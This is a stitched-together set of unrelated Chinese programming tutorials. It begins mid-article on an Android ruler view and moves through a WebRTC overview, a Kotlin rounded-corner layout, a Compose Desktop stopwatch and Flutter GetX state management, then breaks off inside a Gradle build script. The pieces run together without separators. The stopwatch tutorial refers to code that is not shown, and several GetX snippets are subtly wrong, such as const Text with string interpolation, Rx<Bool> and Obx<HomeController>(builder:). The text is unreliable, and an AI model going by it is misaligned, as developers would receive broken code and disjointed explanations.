2. up手势之后，如果速度过小，无法出发惯性滑动，则需要智能定位

实现过程

这块挺复杂的，没办法详细说 很容易乱，我的思路不一定是最好的，当作参考

1. 核心思路是利用等比例换算。


2. 预先知道总滑动距离，知道当前滑动值，能够计算出滑动比例。


3. 滑动比例 == 数值比例，通过比例计算出当前的测量值


4. 根据分度值单位四舍五入，求出定位值，计算出定位值的X轴坐标


5. mScrollX -定位值的X轴坐标 = 滑动距离。求出滑动距离后利用 Scroller.startScroll() 进行滑动

只绘制可视区域内容

之前几点完成之后就算是可以正常使用的组件了，原本是不打算做可视区域绘制的(懒)

但是在调试的时候发现绘制内容过多会很卡，不流畅z

比如：度量范围1~100，分度值是1，需要绘制100个刻度。分度值0.1，需要绘制1k个刻度，分度值0.01，需要绘制1w个刻度，卡顿非常明显了，简直不能用。

计算可视区域非常简单。view的可见区域 = x轴坐标范围 = 滚动距离 + view的宽度

x坐标在范围内视为可见，不在范围内视为不可见

private fun isVisibleArea(x: Int): Boolean {

    //view的可见区域 = x轴坐标范围 = 滚动距离 + view的宽度

    val offset = 20 //偏移量

    val start =scrollX-offset

    val end =scrollX+measuredWidth+ offset

    return x in start..end

}



override fun onDraw(canvas: Canvas) {

        super.onDraw(canvas)

			//简化代码

     if (isVisibleArea(x)){

          drawLine(i, canvas)

          drawText(i, canvas)

     }  

}

前言

WebRTC（Web Real-Time Communication）是一种用于实现实时通信的开放标准和技术框架。它允许浏览器和移动应用程序实现点对点（P2P）音频，视频和数据通信，无需任何插件或附加软件。WebRTC 的发展和普及，得益于 HTML5 的广泛应用和 WebRTC 的开放性和跨平台性。在当前快速发展的互联网行业中，WebRTC 成为了实现实时通信的重要技术之一。

WebRTC 的历史和背景

WebRTC 最早由 Google 在 2011 年提出，并在 2013 年正式成为 W3C 和 IETF 的标准。在这之前，实时通信一般需要通过 Flash 插件、ActiveX 控件或者 Java Applet 等附加软件来实现，这使得实时通信的应用受到了很大的限制，同时也面临着兼容性和安全性等问题。WebRTC 的出现解决了这些问题，为实现实时通信提供了一种标准化的解决方案。

WebRTC 的主要功能和优点

WebRTC 提供了丰富的实时通信功能，包括音频，视频，数据传输和共享屏幕等功能。它具有以下优点：

• 实时性好：WebRTC 可以实现低延迟的音视频传输，使得实时通信更加流畅和自然。


• 交互性强：WebRTC 提供了实时互动的功能，使得用户之间的交流更加直接和有效。


• 兼容性好：WebRTC 支持多种浏览器和平台，包括 Chrome、Firefox、Safari、Edge 等，且无需安装任何附加软件。


• 开发成本低：WebRTC 提供了易于使用的 API 和开发工具，使得开发者可以快速开发实时通信应用，且无需额外的开发成本。

WebRTC 的应用场景和用途

WebRTC 的应用场景非常广泛，涵盖了在线教育，远程会议，互联网电话，即时通讯，游戏，虚拟现实，医疗保健等领域。例如，WebRTC 可以用于实现在线教育平台的实时互动教学，或者为远程办公人员提供高效的视频会议服务。WebRTC 的出现，极大地促进了实时通信技术的应用和普及，提高了人们的生产力和交流效率。

WebRTC 的技术组成部分

WebRTC 的技术组成部分主要包括媒体引擎，信令协议，NAT 穿透技术，安全和加密机制等。

• 
  

  媒体引擎：WebRTC 的媒体引擎是其核心技术之一，用于处理音视频数据的捕获，编解码和传输等任务。它可以实现音视频数据的实时捕获和处理，同时提供多种编解码器，使得数据传输更加高效和稳定。

  
  


• 
  

  信令协议：WebRTC 使用信令协议进行会话管理和数据交换。它的主要任务是协商双方之间的会话参数和建立点对点连接。WebRTC 支持多种信令协议，包括 SIP、XMPP、WebSocket 等。

  
  


• 
  

  NAT 穿透技术：由于大多数网络设备采用了 NAT 技术，WebRTC需要采用特殊的NAT穿透技术来解决设备之间的通信问题。WebRTC 采用 STUN、TURN 和 ICE 等技术，通过中继服务器和代理服务器等手段，实现设备之间的网络连接。

  
  


• 
  

  安全和加密机制：WebRTC 通过加密机制来保证通信的安全性和隐私性。它采用 DTLS 协议实现端到端加密，同时支持 SRTP 协议实现数据的传输加密。另外，WebRTC 还支持数字证书和身份认证等安全机制，以确保通信的安全性和可靠性。

  
  

结论

综上所述，WebRTC 是一种重要的实时通信技术，它的出现极大地促进了在线交流和协作的发展。后续我们将从体系结构、实现和开发、以及应用来领略 WebRTC 技术的美。

这篇文章的目的就是介绍一个通用的圆角View，可以根据圆角的复杂度来灵活切换实现方式。

本自定义View可实现的效果如下：

之前的文章中介绍了实现圆角的各种方式，也比较了各种方案的优势和局限。

圆角实现方式汇总

实际使用中发现在一些简单场景中针对只需要实现上圆角或者下圆角的场景，或者所有圆角一致的需求中，我们使用性能更高的outlineProvider实现是最佳选择，但是在复杂需求中，比如上下左右圆角弧度不一致，这种时候我们要实现的话就需要切换实现方案。

二、源码

1.自定义属性

<declare-styleable name="RoundCornerLayout">

	<attr name="topCornerRadius" format="dimension|reference" />

	<attr name="topCornerRadiusLeft" format="dimension|reference" />

	<attr name="topCornerRadiusRight" format="dimension|reference" />

	<attr name="bottomCornerRadius" format="dimension|reference" />

	<attr name="bottomCornerRadiusLeft" format="dimension|reference" />

	<attr name="bottomCornerRadiusRight" format="dimension|reference" />

	<attr name="cornerMode" format="string" >

		<enum name="outline" value ="0"/>

		<enum name="xfermode" value ="1"/>

		<enum name="clip_path" value ="2"/>

	</attr>

</declare-styleable>

cornerMode用于选择实现方式，可选实现方式有

outline：

支持同时设置四个圆角以及单独设置上圆角或者下圆角，但所有圆角弧度必须相同，不支持单独配置

性能：绘制性能最优，暂未发现兼容和锯齿问题

xfermode：

支持四个圆角单独设置和同时设置

性能：性能稍差，同时抗锯齿效果比clippath会好一些

clippath：

支持四个圆角单独设置和同时设置，实现最灵活。

性能：性能稍差，同时低版本机型锯齿明显，同时和硬件加速有兼容问题，部分机型存在渲染闪烁了切割黑屏

outline的实现方式需要配置 topCornerRadius或者bottomCornerRadius即可

xfermode和clippath的实现方式则需要根据上下左右四个圆角分别配置

2.自定义圆角View

class RoundCornerLayout @JvmOverloads constructor(

context: Context,

attrs: AttributeSet? = null,

defStyleAttr: Int = 0

) : FrameLayout(context, attrs, defStyleAttr) {

	companion object {

		private const val TAG = "RoundCornerLayout"

		private const val CORNER_MODE_OUTLINE = 0

		private const val CORNER_MODE_XFERMODE = 1

		private const val CORNER_MODE_CLIPPATH = 2

	}



	private var cornerMode = 0

	private var topCornerRadius = 0

	private var topCornerRadiusLeft = 0

	private var topCornerRadiusRight = 0

	private var bottomCornerRadius = 0

	private var bottomCornerRadiusLeft = 0

	private var bottomCornerRadiusRight = 0



	private var mRoundRectPath = Path()

	private var mPaint = Paint()

	private val mRect = RectF()

	private var roundedCorners = FloatArray(8)

	private var maskBitmap: Bitmap? = null



	init {

		val typedArray =

			context.obtainStyledAttributes(attrs, R.styleable.RoundCornerLayout, defStyleAttr, 0)

		cornerMode =

			typedArray.getInt(

				R.styleable.RoundCornerLayout_cornerMode,

				CORNER_MODE_OUTLINE

			)

		topCornerRadius =

			typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_topCornerRadius, 0)

		topCornerRadiusLeft =

			typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_topCornerRadiusLeft, 0)

		topCornerRadiusRight =

			typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_topCornerRadiusRight, 0)

		bottomCornerRadius =

			typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_bottomCornerRadius, 0)

		bottomCornerRadiusLeft =

			typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_bottomCornerRadiusLeft, 0)

		bottomCornerRadiusRight =

			typedArray.getDimensionPixelSize(R.styleable.RoundCornerLayout_bottomCornerRadiusRight, 0)

		typedArray.recycle()

		mPaint.isAntiAlias = true

		updateRoundRectMode()

	}



	private fun setRoundRectPath() {

		roundedCorners[0] = topCornerRadiusLeft.toFloat()

		roundedCorners[1] = topCornerRadiusLeft.toFloat()

		roundedCorners[2] = topCornerRadiusRight.toFloat()

		roundedCorners[3] = topCornerRadiusRight.toFloat()

		roundedCorners[4] = bottomCornerRadiusLeft.toFloat()

		roundedCorners[5] = bottomCornerRadiusLeft.toFloat()

		roundedCorners[6] = bottomCornerRadiusRight.toFloat()

		roundedCorners[7] = bottomCornerRadiusRight.toFloat()

		mRect.set(0f, 0f, width.toFloat(), height.toFloat())

		mRoundRectPath.rewind()

		mRoundRectPath.addRoundRect(mRect, roundedCorners, Path.Direction.CW)

	}





	private fun setOutlineMode() {//讨巧上下多截出去一点，达到只有上圆角或者下圆角，实际还是一致的圆角

		when {

			topCornerRadius != 0 && bottomCornerRadius == 0 -> {

				clipToOutline = true

				outlineProvider = object : ViewOutlineProvider() {

					override fun getOutline(view: View, outline: Outline) {

						outline.setRoundRect(

							Rect(0, 0, view.width, view.height + topCornerRadius),

							topCornerRadius.toFloat()

						)

					}

				}

			}

			topCornerRadius == 0 && bottomCornerRadius != 0 -> {

				clipToOutline = true

				outlineProvider = object : ViewOutlineProvider() {

					override fun getOutline(view: View, outline: Outline) {

						outline.setRoundRect(

							Rect(0, 0 - bottomCornerRadius, view.width, view.height),

							bottomCornerRadius.toFloat()

						)

					}

				}

			}

			topCornerRadius != 0 && bottomCornerRadius != 0 && bottomCornerRadius == topCornerRadius -> {

				clipToOutline = true

				outlineProvider = object : ViewOutlineProvider() {

					override fun getOutline(view: View, outline: Outline) {

						outline.setRoundRect(

							Rect(0, 0, view.width, view.height),

							topCornerRadius.toFloat()

						)

					}

				}

			}

		}

	}



	private fun updateRoundRectMode() {

		when (cornerMode) {

			CORNER_MODE_OUTLINE -> {

				setOutlineMode()

			}

			else -> clipToOutline = false

		}

	}



	override fun onSizeChanged(w: Int, h: Int, oldw: Int, oldh: Int) {

		super.onSizeChanged(w, h, oldw, oldh)

		when (cornerMode) {

			CORNER_MODE_XFERMODE -> {

				maskBitmap?.recycle()

				maskBitmap = Bitmap.createBitmap(w, h, Bitmap.Config.ARGB_8888).apply {

					val canvasTmp = Canvas(this)

					setRoundRectPath()

					canvasTmp.drawPath(mRoundRectPath, mPaint)

				}

			}

			CORNER_MODE_CLIPPATH -> {

				setRoundRectPath()

			}

		}

	}



	override fun dispatchDraw(canvas: Canvas?) {

		when (cornerMode) {

			CORNER_MODE_CLIPPATH -> {

				canvas?.clipPath(mRoundRectPath) //切割指定区域

				super.dispatchDraw(canvas) 

			}

			CORNER_MODE_XFERMODE -> {

				val layerId = canvas?.saveLayer(mRect, mPaint) ?: -1

				super.dispatchDraw(canvas)

				mPaint.xfermode = PorterDuffXfermode(PorterDuff.Mode.DST_IN) //设置图层混合模式

				maskBitmap?.run {

					canvas?.drawBitmap(this, 0f, 0f, mPaint)

				}

				mPaint.xfermode = null

				canvas?.restoreToCount(layerId)

			}

			else -> {

				super.dispatchDraw(canvas)

			}

		}

	}

}

三、使用

本文开头的圆角效果就是下面这段代码实现的：

<com.ui.RoundCornerLayout

	android:layout_width="match_parent"

	android:layout_height="wrap_content"

	android:layout_marginLeft="20dp"

	android:layout_marginTop="20dp"

	android:layout_marginRight="20dp"

	app:topCornerRadius="@dimen/roundRectCornerTop">



	<TextView

		android:layout_width="match_parent"

		android:layout_height="50dp"

		android:text="outline"

		android:background="@android:color/holo_blue_light"

		android:gravity="center" />

</com.ui.RoundCornerLayout>



<com.ui.RoundCornerLayout

	android:layout_width="match_parent"

	android:layout_height="wrap_content"

	android:layout_marginLeft="20dp"

	android:layout_marginTop="20dp"

	android:layout_marginRight="20dp"

	app:bottomCornerRadius="@dimen/roundRectCornerTop">



	<TextView

		android:layout_width="match_parent"

		android:layout_height="50dp"

		android:text="outline"

		android:background="@android:color/holo_blue_light"

		android:gravity="center" />

</com.ui.RoundCornerLayout>



<com.ui.RoundCornerLayout

	android:layout_width="match_parent"

	android:layout_height="wrap_content"

	android:layout_marginLeft="20dp"

	android:layout_marginTop="20dp"

	android:layout_marginRight="20dp"

	app:bottomCornerRadius="@dimen/roundRectCornerTop"

	app:topCornerRadius="@dimen/roundRectCornerTop">



	<TextView

		android:layout_width="match_parent"

		android:layout_height="80dp"

		android:text="outline"

		android:background="@android:color/holo_blue_light"

		android:gravity="center" />

</com.ui.RoundCornerLayout>



<com.ui.RoundCornerLayout

	android:layout_width="match_parent"

	android:layout_height="wrap_content"

	android:layout_marginLeft="20dp"

	android:layout_marginTop="20dp"

	android:layout_marginRight="20dp"

	app:cornerMode="xfermode"

	app:topCornerRadiusLeft="@dimen/roundRectCornerTop"

	app:topCornerRadiusRight="@dimen/roundRectCornerTop"

	app:bottomCornerRadiusLeft="0dp"

	app:bottomCornerRadiusRight="@dimen/roundRectCornerTop2"

	>

	<TextView

		android:layout_width="match_parent"

		android:layout_height="80dp"

		android:text="xfermode"

		android:background="@android:color/holo_blue_light"

		android:gravity="center" />

</com.ui.RoundCornerLayout>

<com.ui.RoundCornerLayout

	android:layout_width="match_parent"

	android:layout_height="wrap_content"

	android:layout_marginLeft="20dp"

	android:layout_marginTop="20dp"

	android:layout_marginRight="20dp"

	app:cornerMode="clip_path"

	app:topCornerRadiusLeft="0dp"

	app:topCornerRadiusRight="@dimen/roundRectCornerTop"

	app:bottomCornerRadiusLeft="0dp"

	app:bottomCornerRadiusRight="@dimen/roundRectCornerTop2"

	>

	<TextView

		android:layout_width="match_parent"

		android:layout_height="80dp"

		android:text="clippath"

		android:background="@android:color/holo_blue_light"

		android:gravity="center" />

</com.ui.RoundCornerLayout>

前言

Compose Multiplatform是由Jetbrain团队维护的一个基于Kotlin和Jetpack Compose用于跨多平台的共享UI的声明式框架，目前支持的平台除了Android以外，还有iOS,Web和桌面，如此厉害的技术怎么能不亲自上手尝试一下呢，所以这篇文章要讲的就是使用Compose Desktop开发一个桌面版的秒表应用

准备工作

在开发之前，我们要确定下使用的开发环境，这里我使用的编辑器是IntelliJ IDEA 2022.3.3这个版本，JDK环境用的是11，貌似是最低要求。

如何创建项目就不说了，现在很多文章都有详细讲解，我们直接开始吧

创建视图

首先我们的秒表肯定是有开始计时与结束计时两个状态，所以我们的界面上需要一个按钮来控制这两个状态，那么第一步就是在main函数的Window组件内绘制出这个按钮

其中turnOn变量就是我们控制状态的开关，通过Button的点击事件来改变，并且按钮的文案也随着状态的更改显示不同的文字，Clock就是我们绘制秒表的函数，并且接收turnOn这个变量控制秒表的计时。好了以后我们看一下效果

正如我们预想的一样，一个简单的桌面应用就出来了，接下来就开始绘制我们的秒表

绘制外框

秒表的外框通常来讲就是个圆，而使用Canvas绘制圆有两种选择，一种是使用drawCircle，另一种是使用drawPath，但考虑到drawCircle无法定义边框的大小，所以我们直接使用drawPath函数，绘制Path的话我们需要定义几个变量，分别是中心点坐标，Rect的左上坐标和右下坐标，代码如下

表盘选取在水平居中位置绘制，其中在中心点的y坐标，以及Rect的y坐标上都加上100的原因主要是为了如果边框的粗细设置的比较大的话，表盘不会被视图遮挡，现在我们就在Canvas中绘制定义好的Path

一个简单的边框就绘制好了，我们看下效果

又大又圆，边框绘制完毕，接下去就是表盘的刻度了

绘制刻度

刻度的样式每一种表盘上都不一样，我们这边就简单一些，就在5，10，15这样的刻度上显示文字，其他位置用圆点代替，不然60个数字画一圈怕是太密密麻麻了，那怎么做呢？我们分两步来，第一步先画数字，以下是我们需要用到的变量

由于绘制数字的方向是在一个圆周上的，所以我们定义一个数组angList存放绘制角度，同时也相对应的定义另一个数组textList存放数字的文案,circleRdius是表盘半径，用来计算圆周坐标用，现在就是要绘制文案了，我们使用DrawScope的drawText函数，有的人会说DrawScope下面哪来的drawText啊？那是因为drawText是在Compose 1.3.0版本推出的，所以如果找不到drawText的话，那就赶紧去更新版本吧，我们看下drawText这个函数都提供了哪些参数

可以看到必填的参数是前两个，一个是TextMeasurer对象，用来测量文案的，另一个不用多说，设置text,然后topLeft这个属性也是需要的，总不能12个数字都叠在一起吧，知道了要填的参数，我们现在就调用一下drawText

我们使用rememberTextMeasurer函数创建了一个TextMeasurer对象，并且使用pointX和pointY分别计算了每个数字坐上的x,y坐标，两个函数的代码如下

这里至于为什么要在Offset函数中分别对计算出来的x,y减去20,主要是因为虽然计算出来的坐标是刚好在圆周上，但是当文字绘制出来以后，整体布局会有点偏右下，所以得在结果坐标上再减去20，让文字可以刚好看起来在圆周坐标的中心位置，现在我们运行下代码看下效果怎样

可以看到数字都画上去了，效果还行，接下来就是圆点刻度,同样定义需要用到的变量

degreeColor是绘制圆点刻度的颜色，pointAngleList跟上面的anglist一样，是存放圆点角度的数组，虽然说这个数组的大小定义为60，但是在lambda表达式中我们判断了如果计算出来的角度在anglist中已经存在，那么就不赋值用0代替，最终绘制的时候我们判断如果角度为0，那么就不绘制，所以0度的刻度不会被绘制在表盘上，而绘制圆点我们直接使用drawCircle函数，代码如下

因为同样也是在圆周上，所以计算圆点的坐标也用到了pointx与pointy函数，我们再看下效果

有内味儿了是不，我们接下来开始画指针

绘制指针

指针其实就是一根line,我们使用drawLine函数就能绘制出来，另外我们在中心点位置再绘制一个圆点，当作是把指针固定在表盘上的一样，代码如下

其中pointerColor是指针和圆点的颜色，运行一遍代码，我们看到指针已经绘制上去了

但是指针跟刻度不一样，它得是能绕着圆点动的，怎么动呢？我们看到上面那根静态指针绘制的角度是在angList[0]上,那是不是不停的改变角度，我们的指针就动起来了呢？我们来定一个数组来存在所有需要经过的角度

totalList就是存放所有角度的数组，至于intervalSize是什么呢，我们知道有的秒表上指针是一格一格走的，间隔比较大，有的间隔比较小，看起来的效果就比较丝滑，intervalSize就是定义指针走动的频率大小的值，并且是能够被360整除的，数组定义好了，我们再给数组下标创建个动画

这里创建了一个循环动画，因为totalList遍历完一遍以后，代表着一分钟过去了，角度又得重新开始遍历，所以我们给数组的下标值定义了一个循环动画，另外我们还使用LaunchedEffect函数，来监听外部传来的turn值的变化，turn为true的时候，angleIndex的初始值目标值不同，动画开启，turn为false的时候，angleIndex的初始值目标值相同，动画暂停。我们更新下Canvas中drawLine的代码，让drawLine里面获取角度的下标值的变量变成angleIndex

我们看下效果

文字时间

一个秒表的表盘绘制完毕，我们再加点东西，一般性一个秒表底下都会有个文字时间在跳动，差不多由分，秒，毫秒组成，我们这边也加上这些东西，并且在分与秒之间用文字“分”隔开，秒与毫秒之间用“秒”字隔开，那么这五个Text我们要计算出它们topLeft的坐标

文案的y坐标很容易，就是在表盘底部y坐标上再加点距离就好，至于横坐标，就是找出中间一块区域再五等分，坐标定义完毕，我们先把两个中文绘制出来，x坐标取timeXList下标为1和3的值

接着我们想一下毫秒位置的数字怎么展示，毫秒位置是在一秒内从0跳到99，然后再从0跳到99，这不又是个循环动画吗，我们仿照指针的动画，将毫秒的动画创建出来

同样的，因为毫秒的动画也跟随着turn值的变化而改变，所以我们将这个过程也在LaunchEffect中添加上

现在我们可以在Canvas中将毫秒也绘制出来了

这边还做了一个处理，当毫秒的值为个位数的时候，我们在数字的边上再加上一个0，让数字跳动的时候看起来效果好一些，毫秒的位置已经绘制完毕，秒的位置也一样，因为它也是从0到60变化的一个循环动画，所以它的代码与毫秒基本差不多

现在我们再看下效果

还剩下分的位置，分就不能用循环动画来实现了，它是一个逐渐递增的过程，当秒的位置为从59变回0的时候，分的位置加一，那么我们就需要一个变量来记录分的值

minuteValue用来记录分钟的值，然后我们在Canvas里面判断当mainSecondText刚到59的时候，就准备开始给minuteValue加一，为什么是开始准备而不是立马加一呢，因为如果那样做的话，显示的效果是秒的位置一到59秒的时候，分就加一了，这就不符合实际了，我们希望是当59变为0的那会分才加一，所以我们还需要一个状态位，当mainSecondText变为59的时候，状态位打开，直到mainSecondText变成0的时候，状态位才关闭，这个时候分才加一，我们把状态位命名为addMinute

给分钟设置值的代码如下

再运行一遍代码看看效果如何

完美的衔接起来了，这样一个秒表的功能就基本完成了，我们稍微在点缀一下，如标题所示，加个呼吸灯

呼吸灯效果

在做这个效果之前，这里有个问题，大家是否知道在Compose里面如何给视图设置渐变色？使用drawable吗？Compose里可不兴这些，咱回忆下我们在调用drawpath函数的时候，编辑器是不是会给出这样的提示

有两个drawPath的函数，这俩函数的区别是在第二个参数上，一个是Color,另一个是Brush,我之前通常都是用Color的，因为Brush是个啥我也不知道，但是当我看到Brush里面的代码以后

看到第一行注释没，这个其实就是用来做渐变效果的，它比我们传统Android里面设置渐变功能还要丰富，不但渐变的颜色没有限制，方向也没有限制，也就是说你可以在任意两个点之间设置若干种颜色的渐变，现在我们就在我们秒表的边框上设置三种颜色的渐变吧

首先设置好我们要渐变的颜色值，然后将这个存放颜色值的circleColorList当作参数传入drawPath的Brush中

边框的粗细也加大到了30，这样也能清晰的看到渐变效果，现在运行后的效果如下

效果出来了是不，现在是三个颜色的渐变，那既然刚刚说了Brush的渐变颜色可以是若干个，那么我们在circleColorList中再添加几个颜色试试

从刚刚的三个变成了六个颜色的数组，再运行一下看看效果会怎么样呢？

是不是跟刚刚的那个效果图比起来，这个时候的边框渐变色更多了呢，到了这里，咱有个想法，通过之前的循环动画，我们能不能将Brush里面的渐变色值也循环起来呢，比如先设置的是circleColorList下标为0，1，2的颜色，接下去就是显示下标为1,2,3的颜色，以此类推，下标值到了数组末尾，下一个再从头开始，这么做到底会有什么效果呢，我们试一下

如上述代码所示，我们创建了一个初始值为0，目标值为circleColorList.lastIndex的循环动画，动画时长为两秒，接下去，我们通过判断不同的下标值场景来选取不同的颜色来绘制边框

由于是三种颜色的渐变，所以场景选择了如果colorIndex为数组最后一个下标，colorIndex为数组倒数第二个下标，以及其他情况，现在我们再来看看边框效果

是不是就像表盘周围安置了一个呼吸灯一样，但是这个呼吸灯还不是很完善，因为我们看到的效果，这个呼吸的过程是慢慢从浅色开始，逐渐变深，然后由深变浅是一瞬间的过程，感觉像是这个呼吸被打断了一样，造成这个效果的原因是我们circleColorList数组里面的色值，根据下标的递增是逐渐变深的，但是缺少逐渐变浅的过程，所以我们应该在circleColorList中再增加几个色值，也就是将原来的色值顺序倒转一下添加进去，就像下面这样

这样就满足了我们呼吸灯由浅变深和由深变浅的两个过程，我们再看看效果

总结

Compose DeskTop的秒表功能完成了，这也是我Compose Multiplatform的第一个demo,先选择DeskTop主要是因为几个跨平台里面只有DeskTop与Android的代码算是真正意义上的一套代码跨平台使用，Web主要是多了几个Dom组件，Android里面没法使用，而iOS现在也只是刚刚发布Alpha版，我还在摸索学习中，所以先用DeskTop开个场，后面别的平台的小应用也会相继推出。

什么是 GetX？

一个简单、高效、强大的管理状态、路由管理库

学习目标

• 掌握使用GetX管理状态


• 了解基础GetX状态管理的原理

GetX状态管理的优势

1. 精确渲染，只会渲染依赖状态变化的组件而不会全部组件渲染一遍


2. 安全性高，当程序出现错误时，不会因为重复更改状态导致崩溃


3. 有个GetX永远不需要声明状态组件， 忘记StatefulWidget组件


4. 实现MVC架构，将业务逻辑写到控制器中，视图层专注于渲染


5. 内置了防抖/节流、首次执行等功能


6. 自动销毁控制器，无需用户手动销毁

用法

1.1声明响应式状态

有三种声明方式，使用哪一种都可以 推荐第三种

1.1.1 使用声明，结合Rx{Type}

final name = RxString(''); // 每种内置的类型都有对应的类

final isLogged = RxBool(false);

final count = RxInt(0);

final balance = RxDouble(0.0);

final items = RxList<String>([]);

final myMap = RxMap<String, int>({});

1.1.2 泛型声明 Rx

final name = Rx<String>(''); 

final isLogged = Rx<Bool>(false);

final count = Rx<Int>(0);

final balance = Rx<Double>(0.0);

final number = Rx<Num>(0);

final items = Rx<List<String>>([]);

final myMap = Rx<Map<String, int>>({});

// 自定义类 声明方法

final user = Rx<User>();

1.1.3以.obs作为值（推荐使用）

final name = ''.obs;

final isLogged = false.obs;

final count = 0.obs;

final balance = 0.0.obs;

final number = 0.obs;

final items = <String>[].obs;

final myMap = <String, int>{}.obs;

// 自定义类 声明方法

final user = User().obs;

2.1 使用响应状态到视图中

有两种方法使用状态：

1. 基于Obx收集依赖状态


2. 基于GetX<Controller>获取对应的控制器类型

2.1.1基于Obx收集依赖状态

十分简单，我们只需要使用静态类即可达到动态更新效果。

1. 创建一个 Controller

// HomeController 可以写到一个专门管理控制器的文件中，这样方便维护

// 就像 React 需要把 Hook 单独提取一个文件一样

class HomeController extends GetxController {

  var count = 0.obs;

  increment() => count++;

}

2. 导入创建的 Controller 并使用它

class Home extends StatelessWidget {

  const Home({super.key});

  @override

  Widget build(BuildContext context) {

    // 寻找Controller

  	HomeController c = Get.find<HomeController>();

    return Obx(

      () => Scaffold(

        body: ElevatedButton(

          // 通过`c.count.value`使用状态，也可以不使用.value，.value可选的

          child: const Text("${c.count}"),

          onPressed: () => c.count++, // 改变状态，

        ),

      ),

    );

  }

}

2.1.2 基于GetX<Controller>获取对应的控制器类型

这种做法需要三个步骤

1. 声明一个控制器

// HomeController 可以写到一个专门管理控制器的文件中，这样方便维护

class HomeController extends GetxController {

  var count = 0.obs;

  increment() => count++;

}

2. 在GetMaterialApp类中初始化时导入对应的控制器

// main.dart

void main() {

  runApp(GetMaterialApp(

    // 如果不写这一步那么GetX将无法找到HomeController控制器

    initialBinding: InitBinding(),

    home: const Home(),

  ));

}

class InitBinding implements Bindings {

  @override

  void dependencies() {

    Get.put(HomeController());

  }

}

3. 在对应组件或页面中使用GetX<Controller>实现数据的响应

class Home extends StatelessWidget {

  const Home({super.key});



  @override

  Widget build(BuildContext context) {

    // 这样就可以正常使用了

    return Obx<HomeController>( 

      builder: (c) => Scaffold(

        body: ElevatedButton(

          child: const Text(c.count.value),

          onPressed: () => c.count++,

        ),

      ),

    );

  }

}

3.1 监听状态更新的工具函数

• 当依赖的值发生变化后会触发回调函数

var count = 0.obs;



// 每当 count 发生改变的时候就会触发回调函数执行

ever(count, (newCount) => print("这是count的值: $newCount"));



// 只有首次更新时才会触发

once(count, (newCount) => print("这是count的值: $newCount"));



/// 类似于防抖功能频繁触发不会每次更新，只会停止更新count后的 1秒才执行（这里设置成了1秒）

debounce(count, (newCount) => print("这是count的值: $newCount"), time: Duration(seconds: 1));



/// 类似于节流功能 频繁更新值每秒钟只触发一次 （因为这里设置成了1秒）

interval(count, (newCount) => print("这是count的值: $newCount"), time: Duration(seconds: 1));

GetX状态管理的疑惑

1.1 哪些地方可以使用.obs？

• 可以直接在类中赋值使用

class RxUser {

  final name = "Camila".obs; 

  final age = 18.obs;

}

• 直接将整个类都变成可观察对象

class User {

  User({String name, int age});

  var name;

  var age;

}



final user = User(name: "Camila", age: 18).obs;

1.1.2 一定要使用xxx.value获取值吗？

这个并没有强制要求使用xxx.value获取值，可以直接使用xxx这能让代码看起来更加简洁

1.2 可观察对象是类如何更新？

• 两种方式可以更新，使用其中一种即可

class User() {

  User({this.name = '', this.age = 0});

  String name;

  int age;

}

final user = User().obs;



// 第一种方式

user.update( (user) {

	user.name = 'Jonny';

	user.age = 18;

});



// 第二种方式

user(User(name: 'João', age: 35));



// 使用方式

Obx(()=> Text("名字 ${user.value.name}: 年龄: ${user.value.age}"))



// 可以不需要带.value访问，需要将user执行

user().name;

GetX状态管理的一些原理

1.1.1.obs原理是什么？

var name = "dart".obs

• 源码只是通过StringExtension向String中扩展了一个get属性访问器


• 原理还是通过RxString做绑定

tips: 如果想查看源码的话可以通过 control键 + 左击.obs就可以进入源码里面了

1.2 Obx的基本原理是什么？

• 简而言之，Obx其实帮我们包裹了一层有状态组件

var build = () => Text(name.value)



Obx(build);

继承了一个抽象ObxWidget类，将传递进来的build方法给了ObxWidget，还得看看ObxWidget做了什么

ObxWidget继承了有状态组件，并且build函数让Obx类实现了

_ObxWidget主要做了两件事情

1. 初始化的时候监听依赖收集，销毁时清空依赖并关闭监听。这是Obx的核心


2. 将Obx实现的build函数传递给了RxInterface.notifyChildren执行

NotifyManager是一个混入，主要功能

• subject属性用于传递更新通知


• _subscriptions属性用于存储RxNotifier实例的订阅列表


• canUpdate方法检查是否有任何订阅者


• addListener用于将订阅者添加到订阅列表中，当 RxNotifier 实例的值发生变化时，它将通过 subject 发出通知，并通知所有订阅者


• listen方法监听subject变化并在变化时执行回调函数


• close关闭所有订阅和释放内存等

Gradle 是一个基于 Groovy 的构建工具，用于构建 Android 应用程序。在 Android 开发中，了解 Gradle 是非常重要的，因为它是 Android Studio 默认的构建工具，可以帮助我们管理依赖项、构建应用程序、运行测试等。

本文将介绍 Android 开发中需要了解的一些 Gradle 知识，包括 Gradle 的基本概念、Gradle 的构建脚本、Gradle 的任务和插件等。

Gradle 的基本概念

Gradle 是一个基于项目的构建工具，它允许我们通过编写构建脚本来定义构建过程。Gradle 的基本概念包括：

• 项目（Project）：Gradle 中的项目是指构建的基本单元，一个项目包含多个模块。


• 模块（Module）：Gradle 中的模块是指项目中的一个组件，可以是一个库模块或应用程序模块。


• 任务（Task）：Gradle 中的任务是指执行构建过程的基本单元，每个任务都有一个名称和一个动作（Action）。


• 依赖项（Dependency）：Gradle 中的依赖项是指项目中的一个模块或库，用于在构建过程中引用其他代码或资源。

Gradle 的构建脚本

Gradle 的构建脚本是基于 Groovy 语言的脚本文件，文件名为 build.gradle，位于项目的根目录和每个模块的目录中。构建脚本可以定义项目的依赖项、构建任务和发布应用程序等。

Gradle 的构建脚本由以下两个部分组成：

1. 
   

   buildscript 块：用于定义 Gradle 自身的依赖项和配置。

   
   


2. 
   

   模块配置块：用于定义模块的依赖项和任务。

   
   

下面是一个示例构建脚本：

// 定义构建脚本使用的 Gradle 版本

buildscript {

    repositories {

        // 定义依赖项所在的仓库

        google()

        mavenCentral()

    }

    dependencies {

        // 定义 Gradle 自身的依赖项

        classpath 'com.android.tools.build:gradle:7.1.3'

    }

}

// 定义模块的依赖项和任务

apply plugin: 'com.android.application'



android {

    compileSdkVersion 31



    defaultConfig {

        applicationId "com.example.myapp"

        minSdkVersion 21

        targetSdkVersion 31

        versionCode 1

        versionName "1.0"

    }



    buildTypes {

        release {

            minifyEnabled false

            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'

        }

    }

}



dependencies {

    // 定义模块的依赖项
